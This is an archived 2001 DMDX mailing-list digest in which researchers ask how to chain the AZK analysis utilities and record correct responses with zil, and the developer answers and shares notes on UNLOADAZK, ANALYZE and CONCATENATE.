This is a multi-part message in MIME format. ------=_NextPart_000_0047_01C15E3A.72CC72C0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable Hi, I have some difficulties using analysing tools. I don't understand what = ""concatenate"" and ""unloadazk"" stand for and don't see how to chain these = different tools. Would somebody have an example of an entire analysis using these tools? In ""analyse"" it seems that you can't use ? or * to specify your = conditions. This could be useful for people coding conditions in item = number. For instance item 102612 is item number 26 in condition 1 for = factor 1 and condition 2 for factor 2. So condition 11 could be = described as 1???11. Is it possible to apply a cutoff and then the 2 standard deviations for = excluding bizarre items? Thanks in advance. **********************************=20 http://www.borisnew.org/journalclub http://www.borisnew.org http://www.lexique.org Boris New=20 Laboratoire de Psychologie Exp=E9rimentale=20 Centre Universitaire de Boulogne - Institut de Psychologie=20 Universit=E9 Paris 5 - UMR 8581=20 71 Av. Edouard Vaillant=20 92774 Boulogne Billancourt Cedex=20 Tel : 01 55 20 57 36=20 ********************************** ------=_NextPart_000_0047_01C15E3A.72CC72C0 Content-Type: text/html; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable Hi,   I have some = difficulties=20 using analysing tools. I don't understand what ""concatenate"" = and=20 ""unloadazk"" stand for and don't see how to chain these different=20 tools. Would somebody have an example of = an entire=20 analysis using these tools?   In ""analyse"" it seems that you can't = use ? or * to=20 specify your conditions. This could be useful for people coding = conditions in=20 item number. For instance item 102612 is item number 26 in condition 1 = for=20 factor 1 and condition 2 for factor 2. So condition 11 could be = described as=20 1???11.   Is it possible to apply a cutoff and = then the 2=20 standard deviations for excluding bizarre items?     Thanks in advance.               ********************************** = http://www.borisnew.org/jour= nalclubhttp://www.borisnew.orghttp://www.lexique.org   Boris New Laboratoire de = Psychologie=20 Exp=E9rimentale Centre Universitaire de Boulogne - Institut de = Psychologie=20 Universit=E9 Paris 5 - UMR 8581 71 Av. Edouard Vaillant = 92774 Boulogne=20 Billancourt Cedex Tel : 01 55 20 57 36=20 ********************************** ------=_NextPart_000_0047_01C15E3A.72CC72C0-- >From DMDX-owner@psy1.psych.arizona.edu Fri Oct 26 08:46:51 2001 Received: from breaker.dakotacom.net (breaker.dakotacom.net [208.235.160.21]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with SMTP id IAA20352 for ; Fri, 26 Oct 2001 08:46:34 -0700 Received: (qmail 21276 invoked from network); 26 Oct 2001 15:46:31 -0000 Received: from unknown (HELO anybodyi.u.arizona.edu) (150.135.175.21) by breaker.dakotacom.net with SMTP; 26 Oct 2001 15:46:31 -0000 Message-Id: <5.1.0.14.2.20011026083853.009ee7d0@psy1.psych.arizona.edu> Date: Fri, 26 Oct 2001 08:47:00 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: graphic file as feedback? In-Reply-To: <002501c15de7$5a9aaf80$215dc480@cog.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 11:27 PM 10/25/01 -0700, you wrote: >Is it possible to use bmp files as feedback? I tried , but >it didn't seem to work. Look at the docs for a custom feedback example. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ There are no secrets better kept than those secrets that everybody guesses. - George Bernard Shaw (1856-1950) Mrs. Warren's Profession, 1983 >From DMDX-owner@psy1.psych.arizona.edu Fri Oct 26 08:58:21 2001 Received: from breaker.dakotacom.net (breaker.dakotacom.net [208.235.160.21]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with SMTP id IAA20384 for ; Fri, 26 Oct 2001 08:58:13 -0700 Received: (qmail 28605 invoked from network); 26 Oct 2001 15:58:06 -0000 Received: from unknown (HELO anybodyi.u.arizona.edu) (150.135.175.21) by breaker.dakotacom.net with SMTP; 26 Oct 2001 15:58:06 -0000 Message-Id: <5.1.0.14.2.20011026085426.009ed610@psy1.psych.arizona.edu> Date: Fri, 26 Oct 2001 08:58:33 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: analysing tools In-Reply-To: <004a01c15e29$af978f20$312815ac@psycho.univparis5.fr> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 04:22 PM 10/26/01 +0200, you wrote: >Hi, > >I have some difficulties using analysing tools. I don't understand what >""concatenate"" and ""unloadazk"" stand for and don't see how to chain these >different tools. >Would somebody have an example of an entire analysis using these tools? That's Ken's domain. > In ""analyse"" it seems that you can't use ? or * to specify your > conditions. This could be useful for people coding conditions in item > number. For instance item 102612 is item number 26 in condition 1 for > factor 1 and condition 2 for factor 2. So condition 11 could be described > as 1???11. Yeah, this has occurred to me as shortcoming. Such a thing was never possible before the long item numbers of DMDX and ANALYZE mimics much older programs so naturally it doesn't allow for such a thing. But there's no reason it couldn't. > Is it possible to apply a cutoff and then the 2 standard deviations for > excluding bizarre items? I thought you could already. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ There are no secrets better kept than those secrets that everybody guesses. - George Bernard Shaw (1856-1950) Mrs. Warren's Profession, 1983 >From DMDX-owner@psy1.psych.arizona.edu Fri Oct 26 12:46:57 2001 Received: from smtp04.net.kent.edu (smtp04.net.kent.edu [131.123.250.220]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id MAA21179 for ; Fri, 26 Oct 2001 12:46:46 -0700 Received: from dwb1y01.kent.edu (dwb1y01.psychology.kent.edu [131.123.28.14]) by smtp04.net.kent.edu (8.11.2/8.11.2) with ESMTP id f9QJkjB05614 for ; Fri, 26 Oct 2001 15:46:45 -0400 Message-Id: <5.0.2.1.0.20011026153135.009eaad0@pop.kent.edu> Date: Fri, 26 Oct 2001 15:34:24 -0400 To: DMDX@psy1.psych.arizona.edu From: Edelyn Verona Subject: [DMDX] zil and incorrect/correct output In-Reply-To: <5.1.0.14.2.20011025095715.009e5e30@psy1.psych.arizona.edu> References: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list I have a question about identification of the correct and incorrect response in the output file using the zil keyword. I am using the following test script d10 f1 +1 * ""Press 1"" / /; +2 * ""Press 2"" / /; -3 * ""Press 3"" / /; 0 ""Experiment Complete!""; I am using zil because I want to have both latency to the button press and the button release recorded (I know the keyboard does not provide accurate timing and will switch to input through the PIO after I understand the basics of using zil.) If I run this script and respond by pressing 3 to all three items. The online feedback indicates correct or incorrect. However, I do not get any indication of correct or incorrect in the output file (I know that using AZK, a negative before RT indicates incorrect but that does not to appear to be the case for zil). Here is the output from this test: Subject 1, 10/26/2001 14:35:44 on Stim1, refresh 16.56ms Item 1 1186.07,+3 1292.24,-3 ********************************************************************** THERE WERE MORE THAN 2 EVENTS, DATA LOSS WILL HAVE OCCURED ********************************************************************** Item 2 386.31,+3 482.14,-3 ********************************************************************** THERE WERE MORE THAN 2 EVENTS, DATA LOSS WILL HAVE OCCURED ********************************************************************** Item 3 324.39,+3 442.77,-3 ********************************************************************** THERE WERE MORE THAN 2 EVENTS, DATA LOSS WILL HAVE OCCURED ********************************************************************** Eventually, I want a script that can handle eleven different responses, mapping 10 of them to positive, and one to negative. I want the output file to indicate the actual button press (which it does) and also correct or incorrect (which it does not). Suggestions? Thanks for the help Edelyn >From DMDX-owner@psy1.psych.arizona.edu Fri Oct 26 13:59:59 2001 Received: from mefteh.dsi.univ-paris5.fr (mefteh.dsi.univ-paris5.fr [193.51.86.10]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id NAA21411 for ; Fri, 26 Oct 2001 13:59:46 -0700 Received: (from root@localhost) by mefteh.dsi.univ-paris5.fr (8.9.3+Sun/8.9.3) id WAA19328 for dmdx@psy1.psych.arizona.edu; Fri, 26 Oct 2001 22:59:44 +0200 (MEST) Received: from alpha.univ-paris5.fr (alpha.univ-paris5.fr [193.51.86.2]) by mefteh.dsi.univ-paris5.fr (8.9.3+Sun/8.9.3) with ESMTP id WAA19316 for ; Fri, 26 Oct 2001 22:59:43 +0200 (MEST) Received: from agnes (ext16.univ-paris5.fr [193.51.86.144]) by alpha.univ-paris5.fr (8.9.3/jtpda-5.3.1) with SMTP id WAA31271 for ; Fri, 26 Oct 2001 22:59:40 +0200 (MET DST) Message-ID: <000701c15e60$b9ca5180$905633c1@agnes> From: ""Boris New"" To: References: <5.1.0.14.2.20011026085426.009ed610@psy1.psych.arizona.edu> Subject: [DMDX] Re: analysing tools Date: Fri, 26 Oct 2001 22:56:41 +0200 MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Thanks, I finally found kenneth's mail about the release. I think that it could be useful for novices to include it in the dmdxutils.zip. However I still don't understand why first I concatenate my datas with unloadazk in one azk file and then ""analyse"" asks me an rtf file. I would have thought that analyse would have needed the big azk file and would have computed the mean for all my conditions in one time. I think that as I had'nt use dmaster, I'm missing something. ----- Original Message ----- From: j.c.f. To: Sent: Friday, October 26, 2001 5:58 PM Subject: [DMDX] Re: analysing tools > At 04:22 PM 10/26/01 +0200, you wrote: > >Hi, > > > >I have some difficulties using analysing tools. I don't understand what > >""concatenate"" and ""unloadazk"" stand for and don't see how to chain these > >different tools. > >Would somebody have an example of an entire analysis using these tools? > > That's Ken's domain. > > > In ""analyse"" it seems that you can't use ? or * to specify your > > conditions. This could be useful for people coding conditions in item > > number. For instance item 102612 is item number 26 in condition 1 for > > factor 1 and condition 2 for factor 2. So condition 11 could be described > > as 1???11. > > Yeah, this has occurred to me as shortcoming. Such a thing was never > possible before the long item numbers of DMDX and ANALYZE mimics much older > programs so naturally it doesn't allow for such a thing. But there's no > reason it couldn't. > > > Is it possible to apply a cutoff and then the 2 standard deviations for > > excluding bizarre items? > > I thought you could already. > > -jonathan (j.c.f.) > > /""\\ > \\ / > X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL > / \\ > > There are no secrets better kept than those secrets that > everybody guesses. > - George Bernard Shaw (1856-1950) > Mrs. Warren's Profession, 1983 > > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== > >From DMDX-owner@psy1.psych.arizona.edu Fri Oct 26 15:50:18 2001 Received: from phobos.email.Arizona.EDU (root@phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id PAA21675 for ; Fri, 26 Oct 2001 15:50:05 -0700 Received: from jcf.u.arizona.edu (128.196.98.7) by phobos.email.Arizona.EDU (5.1.056) id 3BC7BE0B00168D73 for DMDX@psy1.psych.arizona.edu; Fri, 26 Oct 2001 15:50:04 -0700 Message-Id: <5.1.0.14.2.20011026154825.00a12050@psy1.psych.arizona.edu> Date: Fri, 26 Oct 2001 15:50:03 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] Re: zil and incorrect/correct output In-Reply-To: <5.0.2.1.0.20011026153135.009eaad0@pop.kent.edu> References: <5.1.0.14.2.20011025095715.009e5e30@psy1.psych.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 03:34 PM 10/26/01 -0400, you wrote: >mapping 10 of them to positive, and one to negative. I want the output >file to indicate the actual button press (which it does) and also correct >or incorrect (which it does not). Suggestions? Call a routine after every item that loads a counter with the lastxt and emits it. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ ""A raccoon tangled with a 23,000 volt line today. The results blacked out 1400 homes and, of course, one raccoon."" - Steel City News >From DMDX-owner@psy1.psych.arizona.edu Fri Oct 26 15:54:00 2001 Received: from phobos.email.Arizona.EDU (root@phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id PAA21692 for ; Fri, 26 Oct 2001 15:53:55 -0700 Received: from jcf.u.arizona.edu (128.196.98.7) by phobos.email.Arizona.EDU (5.1.056) id 3BC7BE0B00168EFE for DMDX@psy1.psych.arizona.edu; Fri, 26 Oct 2001 15:53:53 -0700 Message-Id: <5.1.0.14.2.20011026155057.00a0bb80@psy1.psych.arizona.edu> Date: Fri, 26 Oct 2001 15:53:52 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] Re: analysing tools In-Reply-To: <000701c15e60$b9ca5180$905633c1@agnes> References: <5.1.0.14.2.20011026085426.009ed610@psy1.psych.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 10:56 PM 10/26/01 +0200, you wrote: >Thanks, >I finally found kenneth's mail about the release. >I think that it could be useful for novices to include it in the >dmdxutils.zip. > >However I still don't understand why first I concatenate my datas with >unloadazk in one azk file and then ""analyse"" asks me an rtf file. So it can determine the item's structure and include it in the output. UnloadAZK is only of relevance when you are gathering data from more than one machine. >I would have thought that analyse would have needed the big azk file and >would have computed the mean for all my conditions in one time. It does. >I think that as I had'nt use dmaster, I'm missing something. Sounds like it. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ ""A raccoon tangled with a 23,000 volt line today. The results blacked out 1400 homes and, of course, one raccoon."" - Steel City News >From DMDX-owner@psy1.psych.arizona.edu Sat Oct 27 04:42:12 2001 Received: from mefteh.dsi.univ-paris5.fr (mefteh.dsi.univ-paris5.fr [193.51.86.10]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id EAA23093 for ; Sat, 27 Oct 2001 04:41:18 -0700 Received: (from root@localhost) by mefteh.dsi.univ-paris5.fr (8.9.3+Sun/8.9.3) id NAA13673 for dmdx@psy1.psych.arizona.edu; Sat, 27 Oct 2001 13:41:17 +0200 (MEST) Received: from alpha.univ-paris5.fr (alpha.univ-paris5.fr [193.51.86.2]) by mefteh.dsi.univ-paris5.fr (8.9.3+Sun/8.9.3) with ESMTP id NAA13666 for ; Sat, 27 Oct 2001 13:41:15 +0200 (MEST) Received: from agnes (ext03.univ-paris5.fr [193.51.86.131]) by alpha.univ-paris5.fr (8.9.3/jtpda-5.3.1) with SMTP id NAA09151 for ; Sat, 27 Oct 2001 13:41:13 +0200 (MET DST) Message-ID: <000501c15edb$e21106e0$835633c1@agnes> From: ""Boris New"" To: References: <5.1.0.14.2.20011026085426.009ed610@psy1.psych.arizona.edu> <5.1.0.14.2.20011026155057.00a0bb80@psy1.psych.arizona.edu> Subject: [DMDX] Re: analysing tools Date: Sat, 27 Oct 2001 13:38:17 +0200 MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list So if my experiment is composed of two counterbalanced rtf files, I'll have to run analyse twice and only then I'll merge the means with concatenate. My first thought was that you merge the two azk files first and then you run only once ""analyse"". ----- Original Message ----- From: Jonathan C. Forster To: Sent: Saturday, October 27, 2001 12:53 AM Subject: [DMDX] Re: analysing tools > At 10:56 PM 10/26/01 +0200, you wrote: > >Thanks, > >I finally found kenneth's mail about the release. > >I think that it could be useful for novices to include it in the > >dmdxutils.zip. > > > >However I still don't understand why first I concatenate my datas with > >unloadazk in one azk file and then ""analyse"" asks me an rtf file. > > So it can determine the item's structure and include it in the > output. UnloadAZK is only of relevance when you are gathering data from > more than one machine. > > >I would have thought that analyse would have needed the big azk file and > >would have computed the mean for all my conditions in one time. > > It does. > > >I think that as I had'nt use dmaster, I'm missing something. > > Sounds like it. > > -jonathan (j.c.f.) > > /""\\ > \\ / > X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL > / \\ > > ""A raccoon tangled with a 23,000 volt line today. The results blacked > out 1400 homes and, of course, one raccoon."" > > - Steel City News > > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== > >From DMDX-owner@psy1.psych.arizona.edu Sat Oct 27 05:09:34 2001 Received: from mefteh.dsi.univ-paris5.fr (mefteh.dsi.univ-paris5.fr [193.51.86.10]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id FAA23186 for ; Sat, 27 Oct 2001 05:09:26 -0700 Received: (from root@localhost) by mefteh.dsi.univ-paris5.fr (8.9.3+Sun/8.9.3) id OAA14271 for dmdx@psy1.psych.arizona.edu; Sat, 27 Oct 2001 14:09:26 +0200 (MEST) Received: from alpha.univ-paris5.fr (alpha.univ-paris5.fr [193.51.86.2]) by mefteh.dsi.univ-paris5.fr (8.9.3+Sun/8.9.3) with ESMTP id OAA14264 for ; Sat, 27 Oct 2001 14:09:24 +0200 (MEST) Received: from agnes (ext03.univ-paris5.fr [193.51.86.131]) by alpha.univ-paris5.fr (8.9.3/jtpda-5.3.1) with SMTP id OAA10391 for ; Sat, 27 Oct 2001 14:09:22 +0200 (MET DST) Message-ID: <000901c15edf$d0e570a0$835633c1@agnes> From: ""Boris New"" To: References: <5.1.0.14.2.20011026085426.009ed610@psy1.psych.arizona.edu> <5.1.0.14.2.20011026155057.00a0bb80@psy1.psych.arizona.edu> Subject: [DMDX] Re: analysing tools Date: Sat, 27 Oct 2001 14:06:27 +0200 MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Is there any way by which analyse could detect left-handed subject? For instance, with azk2txt I detected them if their name was ""GAUCH"" and then count ""-"" as good answer. ----- Original Message ----- From: Jonathan C. Forster To: Sent: Saturday, October 27, 2001 12:53 AM Subject: [DMDX] Re: analysing tools > At 10:56 PM 10/26/01 +0200, you wrote: > >Thanks, > >I finally found kenneth's mail about the release. > >I think that it could be useful for novices to include it in the > >dmdxutils.zip. > > > >However I still don't understand why first I concatenate my datas with > >unloadazk in one azk file and then ""analyse"" asks me an rtf file. > > So it can determine the item's structure and include it in the > output. UnloadAZK is only of relevance when you are gathering data from > more than one machine. > > >I would have thought that analyse would have needed the big azk file and > >would have computed the mean for all my conditions in one time. > > It does. > > >I think that as I had'nt use dmaster, I'm missing something. > > Sounds like it. > > -jonathan (j.c.f.) > > /""\\ > \\ / > X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL > / \\ > > ""A raccoon tangled with a 23,000 volt line today. The results blacked > out 1400 homes and, of course, one raccoon."" > > - Steel City News > > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== > >From DMDX-owner@psy1.psych.arizona.edu Sat Oct 27 10:00:59 2001 Received: from breaker.dakotacom.net (breaker.dakotacom.net [208.235.160.21]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with SMTP id KAA23733 for ; Sat, 27 Oct 2001 10:00:39 -0700 Received: (qmail 29645 invoked from network); 27 Oct 2001 17:00:35 -0000 Received: from unknown (HELO anybodyi.u.arizona.edu) (150.135.175.21) by breaker.dakotacom.net with SMTP; 27 Oct 2001 17:00:35 -0000 Message-Id: <5.1.0.14.2.20011027100036.009eccb0@psy1.psych.arizona.edu> Date: Sat, 27 Oct 2001 10:01:01 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: analysing tools In-Reply-To: <000501c15edb$e21106e0$835633c1@agnes> References: <5.1.0.14.2.20011026085426.009ed610@psy1.psych.arizona.edu> <5.1.0.14.2.20011026155057.00a0bb80@psy1.psych.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 01:38 PM 10/27/01 +0200, you wrote: >So if my experiment is composed of two counterbalanced rtf files, I'll have >to run analyse twice and only then I'll merge the means with concatenate. Yes. >My first thought was that you merge the two azk files first and then you run >only once ""analyse"". No. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ There are no secrets better kept than those secrets that everybody guesses. - George Bernard Shaw (1856-1950) Mrs. Warren's Profession, 1983 >From DMDX-owner@psy1.psych.arizona.edu Sat Oct 27 10:05:38 2001 Received: from breaker.dakotacom.net (breaker.dakotacom.net [208.235.160.21]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with SMTP id KAA23768 for ; Sat, 27 Oct 2001 10:05:32 -0700 Received: (qmail 1442 invoked from network); 27 Oct 2001 17:05:28 -0000 Received: from unknown (HELO anybodyi.u.arizona.edu) (150.135.175.21) by breaker.dakotacom.net with SMTP; 27 Oct 2001 17:05:28 -0000 Message-Id: <5.1.0.14.2.20011027100115.009ea4c0@psy1.psych.arizona.edu> Date: Sat, 27 Oct 2001 10:05:54 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: analysing tools In-Reply-To: <000901c15edf$d0e570a0$835633c1@agnes> References: <5.1.0.14.2.20011026085426.009ed610@psy1.psych.arizona.edu> <5.1.0.14.2.20011026155057.00a0bb80@psy1.psych.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 02:06 PM 10/27/01 +0200, you wrote: >Is there any way by which analyse could detect left-handed subject? >For instance, with azk2txt I detected them if their name was ""GAUCH"" and >then count ""-"" as good answer. Yes. But such changes as this and your request to item number ranges are going to require sponsorship before I do them. I'd argue that the item file would be a better place to make such determinations though. Perhaps have two versions in one item file and a branch to one or the other. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ There are no secrets better kept than those secrets that everybody guesses. - George Bernard Shaw (1856-1950) Mrs. Warren's Profession, 1983 >From DMDX-owner@psy1.psych.arizona.edu Sun Oct 28 02:33:56 2001 Received: from mefteh.dsi.univ-paris5.fr (mefteh.dsi.univ-paris5.fr [193.51.86.10]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id CAA25537 for ; Sun, 28 Oct 2001 02:33:33 -0700 Received: (from root@localhost) by mefteh.dsi.univ-paris5.fr (8.9.3+Sun/8.9.3) id KAA16551 for dmdx@psy1.psych.arizona.edu; Sun, 28 Oct 2001 10:33:28 +0100 (MET) Received: from alpha.univ-paris5.fr (alpha.univ-paris5.fr [193.51.86.2]) by mefteh.dsi.univ-paris5.fr (8.9.3+Sun/8.9.3) with ESMTP id KAA16544 for ; Sun, 28 Oct 2001 10:33:27 +0100 (MET) Received: from agnes (ext15.univ-paris5.fr [193.51.86.143]) by alpha.univ-paris5.fr (8.9.3/jtpda-5.3.1) with SMTP id KAA09656 for ; Sun, 28 Oct 2001 10:33:24 +0100 (MET) Message-ID: <001201c15f93$32ee6500$8f5633c1@agnes> From: ""Boris New"" To: References: <5.1.0.14.2.20011026085426.009ed610@psy1.psych.arizona.edu><5.1.0.14.2.20011026155057.00a0bb80@psy1.psych.arizona.edu> <5.1.0.14.2.20011027100115.009ea4c0@psy1.psych.arizona.edu> Subject: [DMDX] Re: analysing tools Date: Sun, 28 Oct 2001 10:30:32 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list > > Yes. But such changes as this and your request to item number ranges > are going to require sponsorship before I do them. Why not making your useful softs as ""open source"" softs? That would permit other people to participate and could be a way of sponsorship, don't you think? >From DMDX-owner@psy1.psych.arizona.edu Sun Oct 28 12:49:06 2001 Received: from breaker.dakotacom.net (breaker.dakotacom.net [208.235.160.21]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with SMTP id MAA26591 for ; Sun, 28 Oct 2001 12:48:12 -0700 Received: (qmail 19449 invoked from network); 28 Oct 2001 19:48:09 -0000 Received: from unknown (HELO anybodyi.u.arizona.edu) (150.135.175.21) by breaker.dakotacom.net with SMTP; 28 Oct 2001 19:48:09 -0000 Message-Id: <5.1.0.14.2.20011028124823.009ecec0@psy1.psych.arizona.edu> Date: Sun, 28 Oct 2001 12:48:30 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: analysing tools In-Reply-To: <001201c15f93$32ee6500$8f5633c1@agnes> References: <5.1.0.14.2.20011026085426.009ed610@psy1.psych.arizona.edu> <5.1.0.14.2.20011026155057.00a0bb80@psy1.psych.arizona.edu> <5.1.0.14.2.20011027100115.009ea4c0@psy1.psych.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 10:30 AM 10/28/01 +0100, you wrote: > > > > Yes. But such changes as this and your request to item number ranges > > are going to require sponsorship before I do them. > > >Why not making your useful softs as ""open source"" softs? That would >permit other people to participate and could be a way of sponsorship, don't >you think? Forget it. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ There are no secrets better kept than those secrets that everybody guesses. - George Bernard Shaw (1856-1950) Mrs. Warren's Profession, 1983 >From DMDX-owner@psy1.psych.arizona.edu Mon Oct 29 14:24:26 2001 Received: from phobos.email.Arizona.EDU (root@phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id OAA29726 for ; Mon, 29 Oct 2001 14:23:27 -0700 Received: from jcf.u.arizona.edu (128.196.98.7) by phobos.email.Arizona.EDU (6.0.032) id 3BDDC829000000F4 for DMDX@psy1.psych.arizona.edu; Mon, 29 Oct 2001 14:23:26 -0700 Message-Id: <5.1.0.14.2.20011029140134.009ec7f0@psy1.psych.arizona.edu> Date: Mon, 29 Oct 2001 14:23:25 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] archives Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list I have archived the 1999 and 2000 list archives: http://psy1.psych.arizona.edu/cgi-bin/DMDX/1999-2000/thread Current archive is still at: http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ An atom blaster is a good weapon, but it can point both ways. >From DMDX-owner@psy1.psych.arizona.edu Wed Oct 31 14:18:44 2001 Received: from phobos.email.Arizona.EDU (root@phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id OAA02703 for ; Wed, 31 Oct 2001 14:17:00 -0700 Received: from jcf.u.arizona.edu (128.196.98.7) by phobos.email.Arizona.EDU (6.0.032) id 3BE069EE00000159 for DMDX@psy1.psych.arizona.edu; Wed, 31 Oct 2001 14:16:59 -0700 Message-Id: <5.1.0.14.2.20011031140714.009eeb90@psy1.psych.arizona.edu> Date: Wed, 31 Oct 2001 14:08:20 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] DMDX UTILS Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Ken made up some notes that are now included with utilities in DMDXUTILS.ZIP: NOTES on AZK Analysis Programs ------------------------------ Users of DM/DMTG who were accustomed to the DOS utilities UNLOAD, UPDATE and CONCAT, which handled binary output data (.dtp) files, can now use the following Windows versions with .azk files. The advantage of an .azk file is that there is no restriction on the number of items, and one can use any data analysis package. (1) UNLOADAZK This program is designed to transfer .azk files from multiple machines and combine them into a single .azk output file. It replaces the older utility UNLOAD. This program asks for a source file (an .azk file) and a destination. The .azk file is transferred to the new destination, appending the new material to any existing file with the same name. The original file is then renamed as an .rdb (raw data backup) file. (2) ANALYZE Computes subject and item mean RTs and error rates from .azk files. It replaces the older utility UPDATE. The assignment of items to conditions is specified in an .spc(specification) file. This is an ordinary text file, and includes a number of parameters which specify computational options (e.g., data trimming, error rate criterion for exclusion of subjects, analyze only incorrect responses, etc). ANALYZE produces for each .azk file two output files: (a) an .ism (item summary) file, which lists the mean RT and error rates for each item in each condition, and (b) a .das file, which has exactly the same format as the original .das files. See below for an example. (3) CONCATENATE Combines data from several .das files in a suitable fashion for input to ANOVA programs. This replaces the former utility CONCAT. The method of concatenation is specified in a .cat file which lists the name of the .das file, and the conditions to be selected from it. See below for an example. =========================================================================================== Each program has its own HELP function. Pressing COPY will copy the contents to the clipboard. Download these programs from: 